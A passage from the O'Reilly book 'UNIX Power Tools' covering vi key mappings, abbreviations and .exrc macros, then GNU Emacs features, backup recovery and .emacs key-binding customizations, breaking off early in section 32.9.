"   spell the file, placing errors at bottom, use \n to find
map \n Gdd\/
"   for find next spelling error
"
"
"   FORMATTING MACROS
"
map \P :.,$!fmt -75^M
"   format thru end of document
map \p !}fmt -75^M
"   format paragraph
map \f 1G/--^Mj:.,$!fmt -75^M
"   format message (assumes MH Mail "comp" format)
map \e :%!expand -4^M
"   expand tabs to 4 stops
"
map \r 1G/^-/^[:r!sed -e '1,/^$/d' -e 's/^./> &/' @ ^[/^-/^[j
"   read in @, quoted (for MH replies, who link @ to current file)

map \d :s/$/ $/^M$r 74^V|? ^V^Ms^M^[$xx0
"   split line, like !!fmt but cheaper
"
"
ab Jan January
ab jan january
ab Feb February
ab feb february
ab Sep September
ab sep september
ab Oct October
ab oct october
ab Nov November
ab nov november
ab Dec December
ab dec december
ab Xmas Christmas
ab xmas christmas
ab Mon Monday
ab mon monday
ab Tue Tuesday
ab tue tuesday
ab Wed Wednesday
ab wed wednesday
ab Thu Thursday
ab thu thursday
ab Fri Friday
ab fri friday
ab Sat Saturday
ab Sun Sunday
ab Int International
ab info information

[Here's a macro by Greg Ubben that centers your current line:

map ^K 80I ^V^[$78hd0^D:s/  / /g^V^M$p

(^K, ^V, ^[, and ^M are control characters, but ^D is ^ and D.) This centers on an 80-column line. If any lines are close to 80 characters long now, the macro will work better with your wrapmargin set to 0. -JP ]

- TC

Previous: 31.8 More Examples of Mapping Keys in vi | UNIX Power Tools | Next: 31.10 Repeating a vi Keymap
31.8 More Examples of Mapping Keys in vi | Book Index | 31.10 Repeating a vi Keymap
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.10 Repeating a vi Keymap

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.9 Good Stuff for Your .exrc File Chapter 31
Creating Custom Commands in vi 		Next: 31.11 Typing in Uppercase Without CAPS LOCK

31.10 Repeating a vi Keymap

The vi (actually, ex) command map (31.2) lets you build custom vi commands. For example, this map redefines the - key to run the vi commands o (open a new line below), ESCAPE, 75a- (add 75 dashes), and ESCAPE again:

:map - o^[75a-^[

So typing - draws a row of dashes below the current line. The problem is that on many versions of vi, you can't add a repetition number - that is, you can't type the command 10- to add 10 dashed lines.

The workaround is to define another macro that calls the first macro ten times. For example, to make the v key draw ten rows of dashes:

:map v ----------

(Ugly, eh? But it works.) You might want to put the - map in your .exrc file and define "multi-maps" like v while you're running vi.

- JP

Previous: 31.9 Good Stuff for Your .exrc File | UNIX Power Tools | Next: 31.11 Typing in Uppercase Without CAPS LOCK
31.9 Good Stuff for Your .exrc File | Book Index | 31.11 Typing in Uppercase Without CAPS LOCK
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.11 Typing in Uppercase Without CAPS LOCK

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.10 Repeating a vi Keymap Chapter 31
Creating Custom Commands in vi 		Next: 31.12 Text-Input Mode Cursor Motion with No Arrow Keys

31.11 Typing in Uppercase Without CAPS LOCK

[You may want to input text in all uppercase letters - maybe for a FORTRAN program. Using CAPS LOCK in vi can be a pain because you have to release CAPS LOCK almost every time you want to type a vi command. Here's a nice way to type lowercase letters during input and ex modes; they'll be mapped to uppercase automatically. -JP]

Try putting this in your .exrc (30.6) file:

map! a A
map! b B
map! c C
  ...
map! z Z

Anytime you type (during text-input mode) an a, the editor will map it into A. What's that you say? You don't want this all the time? Just put it in a file called .f (for FORTRAN), and type:

:source .f

when you want FORTRAN mode. Of course, you can define a function key (31.2) to :source this.

[After that, anywhere you want a lowercase letter, type CTRL-v first to temporarily cancel the map. For example, to type the command :w, type [:] [CTRL-v] [w]

You can also go into the ex command mode by typing the vi command Q. That takes you to the ex colon (:) prompt - where the map! macros won't affect what you type. To return to vi mode from ex command mode, type :vi. -JP ]

- BB in net.unix on Usenet, 9 October 1986

Previous: 31.10 Repeating a vi Keymap | UNIX Power Tools | Next: 31.12 Text-Input Mode Cursor Motion with No Arrow Keys
31.10 Repeating a vi Keymap | Book Index | 31.12 Text-Input Mode Cursor Motion with No Arrow Keys
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.12 Text-Input Mode Cursor Motion with No Arrow Keys

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.11 Typing in Uppercase Without CAPS LOCK Chapter 31
Creating Custom Commands in vi 		Next: 31.13 Making Cursor Keys Work in vi Text-input Mode

31.12 Text-Input Mode Cursor Motion with No Arrow Keys

Some people don't like to press ESC first to move the cursor while they're using vi. These keymaps change CTRL-h, CTRL-j, CTRL-k, and CTRL-l to do the same things during input mode as the commands h, j, k, and l do in command mode.

NOTE: Is your erase character set to CTRL-h (5.9) outside vi? If it is, mapping CTRL-h (usually labeled BACKSPACE on your keyboard) will change the way CTRL-h works during text-input mode: Instead of erasing the characters you've typed since you entered text-input mode, now CTRL-h will move backwards over what you type without erasing it. One workaround is to change your UNIX erase character to the DELETE or RUBOUT key by typing the command stty erase '?' before you start vi. Then your DELETE key will erase what you type and the BACKSPACE key will jump back over it without deleting.

exrc
The lines for your .exrc file (4.9) are below:

map! H [i
map! K [ka
map! L [la
map! V
 [ja
" Note: the two lines above map J (LINEFEED)

That last map takes two lines; it's tricky and may not work right on all versions of vi. No, it isn't a map for CTRL-v, though that's what it looks like. It maps J, the LINEFEED key. The V comes at the very end of its line. When you're entering that keymap, type CTRL-v and then press LINEFEED or CTRL-j. The cursor will move to the start of the next line; type a SPACE and the rest of the macro. It's a good idea to add the reminder comment (starting with the comment character, a double quote (")), on the line below the map.

NOTE: This map for CTRL-j is pretty obviously something that the people who wrote my version of vi didn't plan for. For example, look at the mess it makes when I ask for a list of my text-input keymaps:

:map!
H      H      [i
K      K      [ka
L      L      [la

        [ja

Before you use this map on important files, you should probably test it carefully.

- JP

Previous: 31.11 Typing in Uppercase Without CAPS LOCK | UNIX Power Tools | Next: 31.13 Making Cursor Keys Work in vi Text-input Mode
31.11 Typing in Uppercase Without CAPS LOCK | Book Index | 31.13 Making Cursor Keys Work in vi Text-input Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.13 Making Cursor Keys Work in vi Text-input Mode

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.12 Text-Input Mode Cursor Motion with No Arrow Keys Chapter 31
Creating Custom Commands in vi 		Next: 31.14 Don't Lose Important Functions with vi Maps: Use noremap

31.13 Making Cursor Keys Work in vi Text-input Mode

Here is my .exrc file, which I customized for a VT100 terminal. It is set up for C and nroff -me macros. [Strings like ^[OD are set by the cursor keys (41.12) on VT100-type terminals. Make the ^[ by typing [CTRL-v] [ESC]. Many vi versions make this easier; they understand map #1 (31.2) to mean "map function key F1."-JP ]

troff

set ai redraw sm wm=1
set tabstop=4
set shiftwidth=4
map! {} {^M}^[O^I     Great for auto indenting { } pairs
map! ^[OD ^[ha        Cursor left while inputting
map! ^[OA ^[ka        Cursor up while inputting
map! ^[OB ^[ja        Cursor down while inputting
map! ^[OC ^[la        Cursor right while inputting
map  ^[OP A           Mapped F1 to append to end of line
map! ^[OP ^[A         Text-input mode of the above
map  ^[OQ 0i          Mapped F2 to insert before line
map! ^[OQ ^[0i        Text-input mode of the above
map! ``  \*(lq        troff left quote
map! ''  \*(rq        troff right quote

I can use the cursor keys while inputting text. This is handy because I can back up and add text without pressing ESC. [Though you may not be able to (31.3) undo your previous change with the u command. -JP ]

Also, I have defined [F1] to append at the end of the line. This is useful because it doesn't matter what mode you are in, it always puts you in text-input mode.

At one time, I mapped the entire numeric keypad to emulate the EDT editor.

- BB in net.unix on Usenet, 9 October 1986

Previous: 31.12 Text-Input Mode Cursor Motion with No Arrow Keys | UNIX Power Tools | Next: 31.14 Don't Lose Important Functions with vi Maps: Use noremap
31.12 Text-Input Mode Cursor Motion with No Arrow Keys | Book Index | 31.14 Don't Lose Important Functions with vi Maps: Use noremap
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.14 Don't Lose Important Functions with vi Maps: Use noremap

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.13 Making Cursor Keys Work in vi Text-input Mode Chapter 31
Creating Custom Commands in vi 		Next: 31.15 Fooling vi into Allowing Complex Macros

31.14 Don't Lose Important Functions with vi Maps: Use noremap

For years, I assumed that I could map (31.2) only a few keys in vi-the characters like v and A that aren't used. For instance, if I mapped F to do something else, I thought I'd lose that handy "forward one screen" command. You think the same thing? Then we're both wrong!

Just use the noremap option. Here's a simple example. You can make F the "show file information" (normally G ) command. Then, make A take over the "forward (ahead) one screen" function. Put these lines in your .exrc file (30.6):

set noremap
map F G
map A F

- JP

Previous: 31.13 Making Cursor Keys Work in vi Text-input Mode | UNIX Power Tools | Next: 31.15 Fooling vi into Allowing Complex Macros
31.13 Making Cursor Keys Work in vi Text-input Mode | Book Index | 31.15 Fooling vi into Allowing Complex Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.15 Fooling vi into Allowing Complex Macros

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.14 Don't Lose Important Functions with vi Maps: Use noremap Chapter 31
Creating Custom Commands in vi 		Next: 31.16 vi Macro for Splitting Long Lines

31.15 Fooling vi into Allowing Complex Macros

vi wants undo to work for macros. Unfortunately, vi's undo is very simple. Rather than allow complex macros to break undo, vi disallows complex macros. I believe this is a big mistake. I'd much rather give up undo than powerful macros.

Fortunately (for those who want real macros), the code that figures out whether a macro will break undo is "very" broken.

For instance, throwing in an mx (mark location x) at the front of the rhs ["right-hand side" - JP ] of a macro often calms vi down. For some reason, this sends vi through an alternate path on which the macro checking is not as strict.

Likewise, breaking a single macro into multiple macros that call each other can also fool vi. For example, to do one complex macro, I define:

map X "bY

and then use:

lGkwEX@b

instead of:

lGkwE"bY@b

Using "bY directly doesn't work, but (on most systems anyway) using the macro X does.

So what does it mean that you get the message can't put inside a global/macro? Probably it means that your UNIX vendor "fixed" vi to recognize that a yank can break undo, even if it's in a called macro.

So rise up. Tell your UNIX vendor that you're tired of being coddled like an MS-DOS user! If you intended to undo that macro, you wouldn't have executed it in the first place. Don't let meddling johnny-come-lately UNIX vendors destroy the venerable screw-the-user tradition that has made UNIX great. Make them put it back the way it was.

- DH

Previous: 31.14 Don't Lose Important Functions with vi Maps: Use noremap | UNIX Power Tools | Next: 31.16 vi Macro for Splitting Long Lines
31.14 Don't Lose Important Functions with vi Maps: Use noremap | Book Index | 31.16 vi Macro for Splitting Long Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.16 vi Macro for Splitting Long Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.15 Fooling vi into Allowing Complex Macros Chapter 31
Creating Custom Commands in vi 		Next: 32. GNU Emacs

31.16 vi Macro for Splitting Long Lines

When you add text to the start of a line and make the line longer than your screen's width, vi won't break ("wrap") the line unless your cursor crosses the wrapmargin point near the right-hand edge of the screen. You can get lines that are too long.

exrc
Here are two macros that cut (Kut) the current line:

map K 78^V|lBhr^M
map K 078lF r^M

The first macro doesn't seem to work on some versions of vi. It's the better one though, because it uses the | (vertical bar) command to move to column 78, even if there are TABs in the line. Then it moves one more character to the right (if it can), moves back to the start of the word, moves back one more character onto the blank or tab before the word, and replaces that character with a RETURN.

The second macro counts TABs as single characters, but it works on every version of vi I've tried. It moves to the left edge, then to the 79th character, then back to the previous space. Finally, it replaces that space with a carriage return.

You might try adding a J to the start of either macro. That'll join the next line to the current one before cutting; it might make a nicer "wrap." Another way to do this is with a filter-through (30.22) and the fmt (30.37) command:

!!fmt

That will break the current line at the 72nd column or before, though it also might change the spacing after periods (.) or replace leading TABs with spaces.

- JP

Previous: 31.15 Fooling vi into Allowing Complex Macros | UNIX Power Tools | Next: 32. GNU Emacs
31.15 Fooling vi into Allowing Complex Macros | Book Index | 32. GNU Emacs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] GNU Emacs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.16 vi Macro for Splitting Long Lines Chapter 32 Next: 32.2 Emacs Features: A Laundry List

32. GNU Emacs

Contents:
Emacs: The Other Editor
Emacs Features: A Laundry List
Customizations and How to Avoid Them
Backup and Auto-Save Files
Putting Emacs in Overwrite Mode
Command Completion
Mike's Favorite Time Savers
Rational Searches
Unset PWD Before Using Emacs
Inserting Binary Characters into Files
Using Word Abbreviation Mode
Getting Around Emacs Flow Control Problems
An Absurd Amusement

32.1 Emacs: The Other Editor

The "other" interactive editor that's commonly used is Emacs. Emacs actually refers to a family of editors; versions of Emacs run under almost any operating system available. However, the most important (and most commonly used) version of Emacs is "GNU Emacs," developed by the Free Software Foundation.

emacs
 GNU Emacs is popular because it's the most powerful editor in the Emacs family; it is also available for free, under the terms of the FSF's General Public License. (You can also get it from the Power Tools disc.) Although there are certainly religious differences between Emacs users and vi users, most people agree that Emacs provides a much more powerful and richer working environment.

What's so good about Emacs, aside from the fact that it's free? There are any number of individual features that I could mention. (I'll give a list of favorite features in article 32.2.) In a word, though, the best feature of Emacs is the extent to which it interacts with other UNIX features. For example, it has a built-in email (1.33) system so you can send and receive mail without leaving the editor. It has tools for "editing" (deleting, copying, renaming) files, for running a UNIX shell within Emacs, and so on. The C shell has a rather awkward command history mechanism; the Korn shell has something more elaborate. But imagine being able to recall and edit your commands as easily as you edit a letter! That's far beyond the abilities of any shell, but it's simple when you run a shell inside your editor.

In this book, we can't give anywhere near as much attention to Emacs as we can to vi (30.1), but we will point out some of its best features and a few tricks that will help you get the most out of it.

- ML, BR, DC from O'Reilly & Associates' Learning GNU Emacs

Previous: 31.16 vi Macro for Splitting Long Lines | UNIX Power Tools | Next: 32.2 Emacs Features: A Laundry List
31.16 vi Macro for Splitting Long Lines | Book Index | 32.2 Emacs Features: A Laundry List
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.2 Emacs Features: A Laundry List

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.1 Emacs: The Other Editor Chapter 32
GNU Emacs 		Next: 32.3 Customizations and How to Avoid Them

32.2 Emacs Features: A Laundry List

Here's the list we promised - my personal list of favorite features:

Windows

Emacs is a "windowed editor." Before anyone heard of the X Window System or the Macintosh, Emacs had the ability to divide a terminal's screen into several "windows," allowing you to do different things in each window. You can edit a different file in each window or read mail in one window, answer mail in another, issue shell commands in a third, and so on. Now that we all have nice workstations with mice and other crawly things for navigating around a bitmapped screen, why do you care? First, you may not have a bitmapped screen, and even if you have one in the office, you may not at home. Second, I still find Emacs preferable to most "modern" window systems because I don't have to use a mouse. If I want to create another window, I just type CTRL-x 2 (which splits the current window, whatever it is, into two); if I want to work in another window, I just type CTRL-x o; if I want to delete a window, I type CTRL-x 0. Is this faster than reaching for my mouse and moving it around? You bet. Particularly since my mouse is hidden under a pile of paper. (Of course, it's hidden because I hardly ever need it.) Once you've created a window, it's just as easy to start editing a new file, initiate a shell session, and so on.

Shells

You can start an interactive shell within any Emacs window; just type ESC x shell, and you'll see your familiar shell prompt. It's easy to see why this is so useful. It's trivial to return to earlier comands, copy them, and edit them. Even more important, you can easily take the output of a command and copy it into a text file that you're editing - obviously an extremely useful feature when you're writing a book like this. Emacs also lets you issue commands that operate on the contents of a window or a selected region within a window.

Keyboard Macros

Emacs lets you define "keyboard macros," sequences of commands that can be executed automatically. This is similar to vi's map (31.2) facility, with one extra twist: Emacs actually executes the commands while you're defining the macro, while vi expects you to figure out what you need to do, type it in without any feedback, and hope that the macro doesn't do anything hostile when you edit it. With Emacs, it's much easier to get the macro right. You can see what it's going to do as you're defining it, and if you make a mistake, you can correct it immediately.

Editing Modes

Emacs has a large number of special editing "modes" that provide "context sensitive" help while you're writing. For example, if you're writing a C program, the C mode will help you to observe conventions for indentation and commenting. It automatically lines up braces for you, and tells you when parentheses are unbalanced. There are special modes for virtually every programming language I've ever heard of. There are also special modes for HTML, troff, TeX, outlines, stick figures, etc.

Mail

Although I often use Emacs' mail facility as an example, I'm not personally fond of it. However, if you really like working within the Emacs environment, you should try it.

Customization

Emacs is the most customizable tool I've ever seen. Customization is based on the LISP programming language, so you need to learn some LISP before you can work with it much. However, once you know LISP, you can do virtually anything. For example, I have no doubt that you could write a complete spreadsheet program within Emacs - which means that you could use your normal Emacs commands to edit the spreadsheet and incorporate it (in whole or in part) into your documents. (An Emacs-based spreadsheet may already exist, though I'm not aware of it.) And, because of the FSF's (52.9) General Public License, virtually all special-purpose packages are available for free.

- ML

Previous: 32.1 Emacs: The Other Editor | UNIX Power Tools | Next: 32.3 Customizations and How to Avoid Them
32.1 Emacs: The Other Editor | Book Index | 32.3 Customizations and How to Avoid Them
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.3 Customizations and How to Avoid Them

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.2 Emacs Features: A Laundry List Chapter 32
GNU Emacs 		Next: 32.4 Backup and Auto-Save Files

32.3 Customizations and How to Avoid Them

Emacs customizations are usually stored in a file called .emacs, in your home directory. In article 32.7, we've given a few customizations that I personally find convenient; if you're like most people, you'll add customizations over time. You'll end up doing this even if you're not a LISP programmer; if you know any other Emacs users, you'll soon be borrowing their shortcuts. The best way to customize Emacs to your taste is to find out what works for others, and then steal it. For that matter, many - if not most - of the customizations in my file were stolen from other users over the years. I hope I've gotten this process off to a good start.

However, you should also be aware of the "dark side" of customization. What happens if you sit down at someone else's terminal, start Emacs, and find out that he's customized it so extensively that it's unrecognizable? Or that a "helpful" administrator has installed some system-wide hacks that are getting in your way? Here's what will help. First, start emacs with the option -q; that tells Emacs not to load any .emacs initialization file. (If you want to load your initialization file, instead of someone else's, try the option -u yourname).

That still doesn't solve the problem of system-wide customizations. To keep those from getting in the way, put the following line at the beginning of your .emacs file:

(setq inhibit-default-init t)

This turns off all "global" initializations. (If you're sharing someone else's terminal, you may still need the -u option to force Emacs to read your initialization file.)

- ML, DC, BR

Previous: 32.2 Emacs Features: A Laundry List | UNIX Power Tools | Next: 32.4 Backup and Auto-Save Files
32.2 Emacs Features: A Laundry List | Book Index | 32.4 Backup and Auto-Save Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.4 Backup and Auto-Save Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.3 Customizations and How to Avoid Them Chapter 32
GNU Emacs 		Next: 32.5 Putting Emacs in Overwrite Mode

32.4 Backup and Auto-Save Files

If you're like most people, you often spend a few hours editing a file, only to decide that you liked your original version better. Or you press some strange sequence of keys that makes Emacs do something extremely weird and that you can't "undo." Emacs provides several ways to get out of these tight spots.

First, try the command ESC x revert-buffer. Emacs will ask one of two questions: either "Buffer has been auto-saved recently. Revert from auto-save file? (y or n)" or "Revert buffer from file your-filename? (yes or no)".

Before deciding what to do, it's important to understand the difference between these two questions. Emacs creates an auto-save [1] file every 300 keystrokes you type. So, if you're reverting to the auto-save file, you'll at most lose your last 300 keystrokes. Maybe this is what you want - but maybe you made the mistake a long time ago. In that case, you don't want to use the auto-save file; type n, and you'll see the second question, asking if you want to revert to the last copy of the file that you saved. Type yes to go back to your most recent saved version.

[1] For reference, the name of the auto-save file is #your-filename#; that is, it sticks a hash mark (#) before and after the file's "regular" name.

It's possible that you'll only see the second question ("Revert buffer from file..."). This means that you have saved the file sometime within the last 300 keystrokes. As soon as you save a file, Emacs deletes the auto-save file. It will create a new one every 300 keystrokes.

It's worth noting that Emacs is very picky about what you type. If it asks for a y or an n, you've got to type y or n. If it asks for yes or no, you've got to type yes or no. In situations like this, where the two styles are mixed up, you've got to get it right.

If you're in real trouble, and you want to go back to your original file - the way it was when you started editing - you need to recover Emacs' backup file. If you're editing a file that already exists, Emacs will create a backup file as soon as it starts. If you're editing a new file, Emacs will create a backup the second time you save the file. Once it's created, the backup file is never touched; it stays there until the next time you start Emacs, at which point you'll get a new backup, reflecting the file's contents at the start of your editing session.

Now that we're over the preliminaries, how do you recover the backup file? Emacs doesn't have any special command for doing this; you have to do it by hand. The backup file's name is the same as your original filename, with a tilde (~) added to it. So quit Emacs (or start a shell), and type:

% mv your-filename~ your-filename

Note that Emacs has the ability to save "numbered" backup files, like the VAX/VMS operating system. We've never played with this feature and don't particularly think it's a good idea. But it's there if you want it.

- ML, DC

Previous: 32.3 Customizations and How to Avoid Them | UNIX Power Tools | Next: 32.5 Putting Emacs in Overwrite Mode
32.3 Customizations and How to Avoid Them | Book Index | 32.5 Putting Emacs in Overwrite Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.5 Putting Emacs in Overwrite Mode

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.4 Backup and Auto-Save Files Chapter 32
GNU Emacs 		Next: 32.6 Command Completion

32.5 Putting Emacs in Overwrite Mode

Many users are used to editors that are normally in overwrite mode: when you backspace and start typing, you "type over" the character that is underneath the cursor. [2] By default, Emacs works in insertion mode, where new characters are inserted just before the cursor's position.

[2] This includes some mainframe editors, like XEDIT, and (in my memory) a lot of older tools for word processing and general editing.

If you prefer overwrite mode, just give the command ESC x overwrite-mode. You can use command abbreviation (32.6) to shorten this to ESC x ov. On many keyboards, pressing INSERT also turns on overwrite mode. If you get tired of overwrite mode, use the same command to turn it off.

If you always want to use overwrite mode, create a file named .emacs in your home directory, and put the following line in it:

(setq-default overwrite-mode t)

This is a simple Emacs customization; for a lot more about customization, see O'Reilly & Associates' Learning GNU Emacs, by Debra Cameron and Bill Rosenblatt.

- ML, DC

Previous: 32.4 Backup and Auto-Save Files | UNIX Power Tools | Next: 32.6 Command Completion
32.4 Backup and Auto-Save Files | Book Index | 32.6 Command Completion
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.6 Command Completion

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.5 Putting Emacs in Overwrite Mode Chapter 32
GNU Emacs 		Next: 32.7 Mike's Favorite Time Savers

32.6 Command Completion

Emacs has a great feature called command completion. Basically, command completion means that Emacs will let you type the absolute minimum and it will fill in the rest. You can use Emacs whenever you're typing a filename, a buffer name, a command name, or a variable name. Simply type enough of the name to be "unique" (usually the first few letters), followed by a TAB. Emacs will fill in the rest of the name for you. If the name isn't unique - that is, if there are other filenames that start with the same letters-Emacs will show you the alternatives. Type a few more letters to select the file you want, then press TAB again.

For example, if I'm trying to load the file outline.txt, I can simply give the command CTRL-x CTRL-f out TAB. Providing that there are no other filenames beginning with the letters out, Emacs will fill in the rest of the filename. When I see that it's correct, I press RETURN, and I'm done.

When you use command completion, always make sure that Emacs has successfully found the file you want. If you don't, the results may be strange: you may end up with a partial filename or with the wrong file.

- ML, BR

Previous: 32.5 Putting Emacs in Overwrite Mode | UNIX Power Tools | Next: 32.7 Mike's Favorite Time Savers
32.5 Putting Emacs in Overwrite Mode | Book Index | 32.7 Mike's Favorite Time Savers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.7 Mike's Favorite Time Savers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.6 Command Completion Chapter 32
GNU Emacs 		Next: 32.8 Rational Searches

32.7 Mike's Favorite Time Savers

I'm a very fast typist - which means that I hate using special function keys, arrow keys, and especially mice. I deeply resent anything that moves me away from the basic alphanumeric keyboard. Even Backspace and Delete are obnoxious, since they force me to shift my hand position.

With this in mind, I've customized Emacs so that I can do virtually anything with the basic alphabetic keys, plus the CONTROL key. Here are some extracts from my .emacs file:

;; Make CTRL-h delete the previous character. Normally, this gets
;; you into the "help" system.
 (define-key global-map "\C-h" 'backward-delete-char)
;; make sure CTRL-h works in searches, too
 (setq search-delete-char (string-to-char "\C-h"))
;; bind the "help" facility somewhere else (CTRL-underscore).
;; NOTE: CTRL-underscore is not defined on some terminals.
 (define-key global-map "\C-_" 'help-command) ;; replacement
 (setq help-char (string-to-char "\C-_"))
;; Make ESC-h delete the previous word.
 (define-key global-map "\M-h" 'backward-kill-word)
;; Make CTRL-x CTRL-u the "undo" command; this is better than "CTRL-x u"
;; because you don't have to release the CTRL key.
 (define-key global-map "\C-x\C-u" 'undo)
;; scroll the screen "up" or "down" one line with CTRL-z and ESC z
 (defun scroll-up-one () "Scroll up 1 line." (interactive)
   (scroll-up (prefix-numeric-value current-prefix-arg)))
 (defun scroll-down-one () "Scroll down 1 line." (interactive)
   (scroll-down (prefix-numeric-value current-prefix-arg)))
 (define-key global-map "\C-z" 'scroll-up-one)
 (define-key global-map "\M-z" 'scroll-down-one)
;; Use CTRL-x CTRL-v to "visit" a new file, keeping the current file
;; on the screen
 (define-key global-map "\C-x\C-v" 'find-file-other-window)

The comments (lines beginning with two semicolons) should adequately explain what these commands do. Figure out which you need, and add them to your .emacs file. The most important commands are at the top of the file.

- ML

Previous: 32.6 Command Completion | UNIX Power Tools | Next: 32.8 Rational Searches
32.6 Command Completion | Book Index | 32.8 Rational Searches
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.8 Rational Searches

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.7 Mike's Favorite Time Savers Chapter 32
GNU Emacs 		Next: 32.9 Unset PWD Before Using Emacs

32.8 Rational Searches

Emacs has, oh, a hundred or so different search commands. (Well, really, the number's probably more like 32, but who's counting?) There are searches of absolutely every flavor you could ever imagine: incremental searches, word searches, [3] regular expression searches, and so on.

[3] These are especially nice because they can search for phrases that cross linebreaks; most searches assume that all the text you want will all be on the same line. However, you can only search for whole words, and if you use troff or TeX (43.12), Emacs may be confused by your "markup."

However, when it comes to your plain, old garden-variety search, Emacs is strangely deficient. There is a simple search that just looks for some arbitrary sequence of characters; but it's rather well hidden. And it lacks one very important feature: you can't search for the same string repeatedly. That is, you can't say "OK, you found the right sequence of letters; give me the next occurrence"; you have to retype your search string every time.

search.el
I thought this was an incredible pain until a friend of mine wrote a special search command. It's in the file search.el. Just stick this into your directory for Emacs hacks (4.4), and add something like the following to your .emacs file:

;; real searches, courtesy of Chris Genly
;; substitute your own Emacs hack directory for /home/los/mikel/emacs
 (load-file "/home/los/mikel/emacs/search.el")

Now you can type CTRL-s to search forward and CTRL-r to search back. Emacs will prompt you for a search string and start searching when you press RETURN. Typing another CTRL-s or CTRL-r repeats your previous search. When you try this, you'll see one other useful feature: unlike the other Emacs searches, this kind of search displays the "default" (i.e., most recent) search string in the mini-buffer. It's exactly the kind of search I want.

It's conceivable that you'll occasionally want incremental searches. You'll have to "rebind" them in order to use them conveniently. Here are the key bindings that I use:

;; rebind incremental search as ESC-s and ESC-r
 (define-key global-map "\M-s" 'isearch-forward)
 (define-key global-map "\M-r" 'isearch-backward)
 ;; have to rebind ESC s separately for text-mode. It's normally
 ;; bound to 'center-line'.
 (define-key text-mode-map "\M-s" 'isearch-forward)

That is: ESC s and ESC r now give you forward and reverse incremental searches. And once you've started an incremental search, CTRL-s and CTRL-r still repeat the previous incremental search, just like they're supposed to.

Of course, now you'll have to rebind the "center-line" command if you're fond of it. In my opinion, it's not worth the trouble. The game of "musical key-bindings" stops here.

- ML

Previous: 32.7 Mike's Favorite Time Savers | UNIX Power Tools | Next: 32.9 Unset PWD Before Using Emacs
32.7 Mike's Favorite Time Savers | Book Index | 32.9 Unset PWD Before Using Emacs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.9 Unset PWD Before Using Emacs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.8 Rational Searches Chapter 32
GNU Emacs 		Next: 32.10 Inserting Binary Characters into Files

32.9 Unset PWD Before Using Emacs

I've seen a number of strange situations in which Emacs can't find files unless you type a complete ("absolute") pathname (1.21), starting from the root (/ ). When you try to "visit" a file, you'll get the message File not found and directory doesn't exist.

